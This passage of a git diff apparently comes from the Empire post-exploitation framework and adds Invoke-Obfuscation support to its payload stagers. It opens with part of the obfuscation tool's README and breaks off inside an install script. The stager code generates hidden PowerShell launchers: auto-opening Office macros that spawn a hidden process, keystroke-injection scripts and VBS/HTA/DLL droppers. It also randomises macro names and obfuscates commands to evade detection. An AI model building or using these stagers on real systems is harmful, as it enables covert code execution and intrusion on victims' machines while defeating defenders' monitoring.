+obfuscation techniques to hide the majority of the command from the command +line arguments of powershell.exe. I developed this tool to aid the Blue Team +in simulating obfuscated commands based on what I currently know to be +syntactically possible in PowerShell 2.0-5.0 so that they can test their +detection capabilities of these techniques. + +The tool's sole purpose is to break any assumptions that we as defenders may +have concerning how PowerShell commands can appear on the command line. My +hope is that it will encourage the Blue Team to shift to looking for +Indicators of Obfuscation on the command line in addition to updating +PowerShell logging to include Module, ScriptBlock and Transcription logging +as these sources simplify most aspects of the obfuscation techniques +generated by this tool. + +Usage +----- +While all of the layers of obfuscation have been built out into separate +scripts, most users will find the `Invoke-Obfuscation` function to be the +easiest way to explorer and visualize the obfuscation techniques that this +framework currently supports. + +Installation +------------ +The source code for Invoke-Obfuscation is hosted at Github, and you may +download, fork and review it from this repository +(https://github.com/danielbohannon/Invoke-Obfuscation). Please report issues +or feature requests through Github's bug tracker associated with this project. + +To install: + + Import-Module ./Invoke-Obfuscation.psd1 + Invoke-Obfuscation + +License +------- +Invoke-Obfuscation is released under the Apache 2.0 license. + +Release Notes +------------- +v1.0 - 2016-09-25 DerbyCon 6.0, Louisville: PUBLIC Release of Invoke-Obfuscation. + +v1.1 - 2016-10-09 SANS DFIR Summit, Prague: Added -f format operator re-ordering +functionality to all applicable TOKEN obfuscation functions. Also added additional +syntax options for setting variable values. + +v1.2 - 2016-10-20 CODE BLUE, Tokyo: Added Type TOKEN obfuscation (direct type +casting with string obfuscation options for type name). + +v1.3 - 2016-10-22 Hacktivity, Budapest: Added two new LAUNCHERs: CLIP+ and CLIP++. +Also added additional (and simpler) array char conversion syntax for all ENCODING +functions that does not require For-EachObject/%. + +v1.4 - 2016-10-28 BruCON, Ghent: Added new BXOR ENCODING function. Also enhanced +randomized case for all components of all ENCODING functions as well as for +PowerShell execution flags for all LAUNCHERs. Finally, added -EP shorthand option +for -ExecutionPolicy to all LAUNCHERs as well as the optional integer representation +of the -WindowStyle PowerShell execution flag: Normal (0), Hidden (1), Minimized (2), +Maximized (3). + +v1.5 - 2016-11-04 Blue Hat (Redmond, Washington USA): Added WMIC LAUNCHER with some +randomization of WMIC command line arguments. + +v1.6 - 2017-01-24 Blue Hat IL (Tel Aviv, Israel): +- Added CLI functionality: +E.g., Invoke-Obfuscation -ScriptBlock {Write-Host 'CLI FTW!'} -Command 'Token\All\1, +Encoding\1,Launcher\Stdin++\234,Clip' -Quiet -NoExit +- Added UNDO functionality to remove one layer of obfuscation at a time. +- Removed Whitespace obfuscation from Token\All\1 to speed up large script obfuscation. +- Added Process Argument Tree output for all launchers to aid defenders. +- Added base menu auto-detect functionality to avoid needing to use BACK or HOME: +E.g., if you ran TOKEN then ALL then 1, then just type LAUNCHER and you will get to +the LAUNCHER menu without needing to type HOME or BACK to get back to the home menu. +- Added multi-command syntax utilized by CLI and interactive mode: +E.g., Token\All\1,String\3,Encoding\5,Launcher\Ps\234,Clip +- Added regex capability to all menu and obfuscation commands: +E.g., Token\*\*,String\[13],Encoding\(1|6),Launcher\.*[+]{2}\234,Clip +- Added OUT FILEPATH single command functionality. +- Added decoding if powershell -enc syntax is entered as a SCRIPTBLOCK value. +- Added alias ForEach to ForEach-Object/% randomized syntax options in all ENCODING +functions. +- Added -Key -Ke -K KEY substring syntax options to Out-SecureStringCommand.ps1. +- Added more thorough case randomization to all \Home\String obfuscation functions. +- Added -ST/-STA (Single-Threaded Apartment) flags to CLIP+ and CLIP++ launcher +functions since they are required if running on PowerShell 2.0. +- Added Get-Item/GI/Item syntax everywhere where Get-ChildItem is used to get +variable values. +- Added Set-Item variable instantiation syntax to TYPE obfuscation function. +- Added additional Invoke-Expression/IEX syntax using PowerShell automatic variables +and environment variable value concatenations in Out-ObfuscatedStringCommand.ps1's +Out-EncapsulatedInvokeExpression function and copied to all launchers, STRING and +ENCODING functions to add numerous command-line syntaxes for IEX. +- Added two new JOIN syntaxes for String\Reverse and all ENCODING obfuscation options: +1) Added [String]::Join('',$string) JOIN syntax +2) Added OFS-variable JOIN syntax (Output Field Separator automatic variable) +- Added two more SecureString syntaxes to Encoding\5: +1) PtrToStringAnsi / SecureStringToGlobalAllocAnsi +2) PtrToStringBSTR / SecureStringToBSTR +- Added six GetMember alternate syntaxes for several SecureString members: +1) PtrToStringAuto, ([Runtime.InteropServices.Marshal].GetMembers()[3].Name).Invoke +2) PtrToStringAuto, ([Runtime.InteropServices.Marshal].GetMembers()[5].Name).Invoke +3) PtrToStringUni , ([Runtime.InteropServices.Marshal].GetMembers()[2].Name).Invoke +4) PtrToStringUni , ([Runtime.InteropServices.Marshal].GetMembers()[4].Name).Invoke +5) PtrToStringAnsi, ([Runtime.InteropServices.Marshal].GetMembers()[0].Name).Invoke +6) PtrToStringAnsi, ([Runtime.InteropServices.Marshal].GetMembers()[1].Name).Invoke +- Updated Out-ObfuscatedTokenCommand.ps1 so that VARIABLE obfuscation won't +encapsulate variables in ${} if they are already encapsulated (so ${${var}} won't +happen as this causes errors). +- Replaced Invoke-Obfuscation.psm1 with Invoke-Obfuscation.psd1 (thanks @Carlos_Perez). +- Fixed several TOKEN-level obfuscation bugs reported by @cobbr_io and @IISResetMe. + +v1.7 - 2017-03-03 nullcon (Goa, India): +- Added 3 new LAUNCHERs: RUNDLL, RUNDLL++ and MSHTA++ +- Added additional ExecutionContext wildcard variable strings diff --git a/lib/stagers/multi/launcher.py b/lib/stagers/multi/launcher.py index 71264dba2..856f7015e 100644 --- a/lib/stagers/multi/launcher.py +++ b/lib/stagers/multi/launcher.py @@ -45,6 +45,16 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : 'True' }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + }, 'SafeChecks' : { 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', 'Required' : True, @@ -84,6 +94,8 @@ def generate(self): language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] @@ -93,9 +105,13 @@ def generate(self): encode = False if base64.lower() == "true": encode = True - + + invokeObfuscation = False + if obfuscate.lower() == "true": + invokeObfuscation = True + # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, safeChecks=safeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=invokeObfuscation, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, safeChecks=safeChecks) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/lib/stagers/multi/war.py b/lib/stagers/multi/war.py index 188d66ac2..2b90331bb 100644 --- a/lib/stagers/multi/war.py +++ b/lib/stagers/multi/war.py @@ -47,6 +47,16 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\1234567' + }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, @@ -85,13 +95,19 @@ def generate(self): proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] + + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True # appName defaults to the listenername if appName == "": appName = listenerName # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscate, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/lib/stagers/windows/dll.py b/lib/stagers/windows/dll.py index ad364e1a3..f8567c861 100644 --- a/lib/stagers/windows/dll.py +++ b/lib/stagers/windows/dll.py @@ -64,6 +64,16 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'File to output dll to.', 'Required' : True, 'Value' : '/tmp/launcher.dll' + }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1' } } @@ -89,14 +99,23 @@ def generate(self): proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True + + if obfuscateScript and "launcher" in obfuscateCommand.lower(): + print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager.") + return "" # generate the PowerShell one-liner with all of the proper options set - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher generation.") diff --git a/lib/stagers/windows/ducky.py b/lib/stagers/windows/ducky.py index 290280767..ceb5d5057 100644 --- a/lib/stagers/windows/ducky.py +++ b/lib/stagers/windows/ducky.py @@ -45,6 +45,16 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '' }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, @@ -83,10 +93,16 @@ def generate(self): proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] + + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) - + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + if launcher == "" or interpreter == "": print helpers.color("[!] Error in launcher command generation.") return "" @@ -99,7 +115,11 @@ def generate(self): duckyCode += "STRING "+ interpreter + "\n" duckyCode += "ENTER\n" duckyCode += "DELAY 2000\n" - duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n" + if obfuscateScript and "launcher" in obfuscateCommand.lower(): + duckyCode += "STRING "+launcher+" \n" + else: + enc = launcher.split(" ")[-1] + duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n" duckyCode += "ENTER\n" return duckyCode diff --git a/lib/stagers/windows/hta.py b/lib/stagers/windows/hta.py index 2f174fc3f..870f6dd80 100644 --- a/lib/stagers/windows/hta.py +++ b/lib/stagers/windows/hta.py @@ -44,7 +44,17 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Switch. Base64 encode the output.', 'Required' : True, 'Value' : 'True' - }, + }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, @@ -79,6 +89,8 @@ def generate(self): language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] @@ -88,15 +100,19 @@ def generate(self): if base64.lower() == "true": encode = True + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True + # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: code = "" return code diff --git a/lib/stagers/windows/launcher_bat.py b/lib/stagers/windows/launcher_bat.py index 2e56d16fc..89297b985 100644 --- a/lib/stagers/windows/launcher_bat.py +++ b/lib/stagers/windows/launcher_bat.py @@ -45,6 +45,16 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : 'True' }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, @@ -79,13 +89,19 @@ def generate(self): language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] delete = self.options['Delete']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True + # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/lib/stagers/windows/launcher_sct.py b/lib/stagers/windows/launcher_sct.py index 34b0d362f..d1b8eaa12 100644 --- a/lib/stagers/windows/launcher_sct.py +++ b/lib/stagers/windows/launcher_sct.py @@ -39,7 +39,17 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Switch. Base64 encode the output.', 'Required' : True, 'Value' : 'True' - }, + }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + }, 'OutFile': { 'Description': 'File to output SCT to, otherwise displayed on the screen.', 'Required': False, @@ -78,6 +88,8 @@ def generate(self): language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] @@ -86,10 +98,14 @@ def generate(self): encode = False if base64.lower() == "true": encode = True + + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( - listenerName, language=language, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") @@ -105,7 +121,7 @@ def generate(self): code += " >\n" code += " \n" code += "\n" diff --git a/lib/stagers/windows/launcher_vbs.py b/lib/stagers/windows/launcher_vbs.py index e75a26c96..4fefe242b 100644 --- a/lib/stagers/windows/launcher_vbs.py +++ b/lib/stagers/windows/launcher_vbs.py @@ -40,6 +40,16 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '/tmp/launcher.vbs' }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, @@ -73,13 +83,19 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True + # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") @@ -87,7 +103,7 @@ def generate(self): else: code = "Dim objShell\n" code += "Set objShell = WScript.CreateObject(\"WScript.Shell\")\n" - code += "command = \""+launcher+"\"\n" + code += "command = '"+launcher.replace("'", "\\'")+"'\n" code += "objShell.Run command,0\n" code += "Set objShell = Nothing\n" diff --git a/lib/stagers/windows/macro.py b/lib/stagers/windows/macro.py index a03500964..750f9d7af 100644 --- a/lib/stagers/windows/macro.py +++ b/lib/stagers/windows/macro.py @@ -1,4 +1,5 @@ from lib.common import helpers +import random, string class Stager: @@ -40,6 +41,16 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '/tmp/macro' }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, @@ -74,35 +85,43 @@ def generate(self): language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True + # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + Str = ''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName)))) + Method=''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName)))) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" else: - chunks = list(helpers.chunks(launcher, 50)) - payload = "\tDim Str As String\n" - payload += "\tstr = \"" + str(chunks[0]) + "\"\n" + chunks = list(helpers.chunks(launcher.replace("'", "\\'"), 50)) + payload = "\tDim "+Str+" As String\n" + payload += "\t"+Str+" = '" + str(chunks[0]) + "'\n" for chunk in chunks[1:]: - payload += "\tstr = str + \"" + str(chunk) + "\"\n" + payload += "\t"+Str+" = "+Str+" + '" + str(chunk) + "'\n" macro = "Sub Auto_Open()\n" - macro += "\tDebugging\n" + macro += "\t"+Method+"\n" macro += "End Sub\n\n" macro = "Sub AutoOpen()\n" - macro += "\tDebugging\n" + macro += "\t"+Method+"\n" macro += "End Sub\n\n" macro += "Sub Document_Open()\n" - macro += "\tDebugging\n" + macro += "\t"+Method+"\n" macro += "End Sub\n\n" - macro += "Public Function Debugging() As Variant\n" + macro += "Public Function "+Method+"() As Variant\n" macro += payload macro += "\tConst HIDDEN_WINDOW = 0\n" macro += "\tstrComputer = \".\"\n" @@ -111,7 +130,7 @@ def generate(self): macro += "\tSet objConfig = objStartup.SpawnInstance_\n" macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n" macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n" - macro += "\tobjProcess.Create str, Null, objConfig, intProcessID\n" + macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n" macro += "End Function\n" return macro diff --git a/lib/stagers/windows/teensy.py b/lib/stagers/windows/teensy.py index 8c7320cd3..6857e5634 100644 --- a/lib/stagers/windows/teensy.py +++ b/lib/stagers/windows/teensy.py @@ -40,6 +40,16 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '/tmp/teensy.ino' }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1' + }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, @@ -77,13 +87,22 @@ def generate(self): proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] + + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" + elif obfuscate and "launcher" in obfuscateCommand.lower(): + print helpers.color("[!] If using obfuscation, LAUNCHER obfuscation cannot be used in the teensy stager.") + return "" else: enc = launcher.split(" ")[-1] sendEnc = "Keyboard.print(\"" diff --git a/setup/cert.sh b/setup/cert.sh index b678529a9..58b28f9ca 100755 --- a/setup/cert.sh +++ b/setup/cert.sh @@ -6,7 +6,8 @@ #openssl req -new -key ./data/empire.key -out ./data/empire.csr #openssl x509 -req -days 365 -in ./data/empire.csr -signkey ./data/empire.key -out ./data/empire.crt -#openssl req -new -x509 -keyout ../data/empire.pem -out ../data/empire.pem -days 365 -nodes -openssl req -new -x509 -keyout ../data/empire.pem -out ../data/empire.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1 +#openssl req -new -x509 -keyout ../data/empire-priv.key -out ../data/empire-chain.pem -days 365 -nodes +openssl req -new -x509 -keyout ../data/empire-priv.key -out ../data/empire-chain.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1 -echo -e "\n\n [*] Certificate written to ../data/empire.pem\n" +echo -e "\n [*] Certificate written to ../data/empire-chain.pem" +echo -e "\r [*] Private key written to ../data/empire-priv.key\n" diff --git a/setup/install.sh b/setup/install.sh index 67d0fa738..7327b545d 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -12,10 +12,14 @@ then cd ./setup fi +wget https://bootstrap.pypa.io/get-pip.py +python get-pip.py + version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 ) if lsb_release -d | grep -q "Fedora"; then Release=Fedora - dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl-dev + dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl1.0.0 libssl-dev + pip install --upgrade urllib3 pip install setuptools pip install pycrypto pip install iptools @@ -29,7 +33,8 @@ if lsb_release -d | grep -q "Fedora"; then pip install netifaces elif lsb_release -d | grep -q "Kali"; then Release=Kali - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev + pip install --upgrade urllib3 pip install setuptools pip install pycrypto pip install iptools @@ -41,9 +46,25 @@ elif lsb_release -d | grep -q "Kali"; then pip install pyinstaller pip install zlib_wrapper pip install netifaces + if ! which powershell > /dev/null; then + wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7_amd64.deb + wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + apt-get install -y libunwind8 + dpkg -i libicu55_55.1-7_amd64.deb + dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + apt-get install -f -y + rm libicu55_55.1-7_amd64.deb + rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + fi + mkdir -p /usr/local/share/powershell/Modules + cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules elif lsb_release -d | grep -q "Ubuntu"; then Release=Ubuntu - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev + pip install --upgrade urllib3 pip install setuptools pip install pycrypto pip install iptools @@ -56,9 +77,25 @@ elif lsb_release -d | grep -q "Ubuntu"; then pip install pyinstaller pip install zlib_wrapper pip install netifaces + if ! which powershell > /dev/null; then + wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7_amd64.deb + wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + apt-get install -y libunwind8 + dpkg -i libicu55_55.1-7_amd64.deb + dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + apt-get install -f -y + rm libicu55_55.1-7_amd64.deb + rm 